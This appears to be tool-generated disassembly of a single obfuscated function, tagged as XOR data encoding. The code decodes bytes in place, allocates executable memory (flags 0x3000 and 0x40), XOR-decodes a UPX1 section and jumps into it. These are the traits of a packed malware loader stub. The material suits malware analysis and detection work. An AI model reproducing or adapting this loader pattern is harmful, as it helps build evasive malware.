Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x18f2b483
sub edi, esi
or edi, esi
popal
sub edi, 0xffa2f1bd
sub edi, 0xd3e13f8a
mov edi, esi
mov edi, 0
mov eax, esi
or ebx, edx
dec ebx
mov ecx, eax
add ebx, 1
not ebx
mov esi, ecx
dec edx
not edx
inc edi
inc edx
or edx, edx
cmp edi, 0x100fd9b
jne 0x47b452
or ebx, ebx
mov ebx, 0xe5f4f65d
inc edx
dec esi
and edi, edi
mov edi, esi
mov eax, 0x47b21e
and edx, edi
mov edi, esi
and edi, esi
mov ebx, 0x47b412
or esi, edi
and esi, edx
mov edx, 0x3b644605
mov ecx, dword [eax]
inc edx
add edx, edi
and ecx, 0xff
sub edi, 0xd1309e85
mov edi, edx
xor dword [ebx], ecx
add esi, esi
and edi, esi
inc ebx
or edi, edx
not edi
inc eax
or esi, edi
add edx, edx
cmp ebx, entry0
jl 0x47b49c
add edx, 0xea793410
mov edx, 0x7f608659
mov edi, edx
add esi, edx
add edi, 0x5742d48d
sub esi, 0xe516ee6b
mov ebx, esi
mov edx, 0x47b416
mov esi, 0x6b216550
mov esi, edi
or ecx, ecx
mov edx, dword [edx]
or edi, esi
mov esi, 0x9784c8ad
or edi, edi
mov edx, dword [edx]
and esi, edi
or esi, edi
or edi, ecx
push edx
sub ecx, 0xa0574638
mov esi, 0xf65d8624
mov edx, 0x47b412
and edi, esi
add ecx, esi
mov edx, dword [edx]
mov esi, 0xbda6787e
not ebx
mov esi, ecx
mov edx, dword [edx]
add ecx, esi
sub ebx, 0xae858051
sub esp, 4
mov dword [esp], 0x47b41a
mov ebx, esi
inc esi
or ebx, ebx
call edx
add edi, 0x8444fe27
sub esi, 0x9f56e6b2
mov ebx, edi
pop edx
add edi, ecx
mov ecx, esi
push 0x47b427
sub ebx, 0x7edb649b
mov esi, 0x4db93fe6
sub esp, 4
mov dword [esp], eax
dec ebx
mov edi, 0x5f5c57fc
call edx
mov ecx, edi
inc ecx
push 0x40
add ebx, esi
add ecx, 0x6688dff0
sub esp, 4
mov dword [esp], 0x3000
add ebx, ebx
sub esi, 0xc4a40490
sub ebx, 1
push 0x2000054b
and esi, ecx
and ebx, ecx
sub esp, 4
mov dword [esp], 0
add ecx, ecx
and ecx, ebx
call eax
mov ebx, 0x7b79f146
or ebx, ebx
not edi
add eax, 0x200004ad
add ebx, 0xde80b889
inc ebx
mov edx, 0xe6c1e5ea
mov esi, ebx
mov ebx, ecx
mov dword [eax], edx
add ebx, 1
inc edi
not ecx
mov edx, dword [eax]
sub edi, ebx
sub edi, esi
or ecx, ebx
cmp edx, 0xe6c1e5ea
je 0x47b5f7
mov ebx, 0
mov ecx, dword [ebx]
add ecx, ecx
sub ebx, esi
and ebx, edi
not esi
sub ebx, 0x79e60b16
add edi, 0x19421a7e
or esi, esi
mov eax, section.UPX1
sub esi, 1
sub esi, edi
mov edi, 0x9c6570f8
mov ecx, 0x47b21d
inc esi
mov edi, esi
or esi, esi
mov edx, 0
or edi, edi
mov edi, esi
mov ebx, 0x47b21e
not esi
sub edi, esi
mov edi, esi
lea ebx, [ebx + edx]
mov edi, esi
not esi
or esi, edi
mov ebx, dword [ebx]
add esi, 0x1ea662f1
add edi, 1
or edi, edi
and ebx, 0xff
add esi, 0xa9819ce
sub esi, 0x96b7e255
inc esi
inc edx
sub edi, esi
not edi
cmp edx, 0x1f4
jne 0x47b67b
mov edx, 0
mov esi, 0xeb1c35f
dec esi
mov edi, esi
not edi
mov esi, 0xfd01014d
xor dword [eax], ebx
mov esi, edi
not edi
add eax, 2
dec edi
sub esi, 0x8c1faa65
cmp eax, ecx
jl 0x47b632
dec esi
or esi, edi
sub edi, 0xe92720c4
sub edi, 0xe704edd7
mov eax, section.UPX1
sub ecx, edx
add ecx, 0x91423599
mov edx, 0x756ea20c
mov esi, section.UPX1
inc edx
sub edx, 0xb56964cd
add ecx, edx
mov edi, 0x47b21d
sub ecx, edx
inc ecx
mov ebx, 0
mov ecx, edx
and ecx, edx
mov bl, byte [esi]
mov edx, ecx
sub edx, ecx
mov byte [eax], bl
add ecx, ecx
mov ecx, 0x2de46e59
sub edx, ecx
inc eax
add ecx, 0xa464b743
mov edx, ecx
not edx
add esi, 2
or edx, edx
mov ecx, 0x6d7f5ab2
sub ecx, edx
cmp esi, edi
jle 0x47b6e5
sub edx, ecx
add ecx, 0xcac42bdc
add esi, edi
sub edi, 0x8ed013b0
push 0x45e6a0
sub edi, 0xee9f46fb
mov edi, esi
mov esi, 0x6a4efb42
ret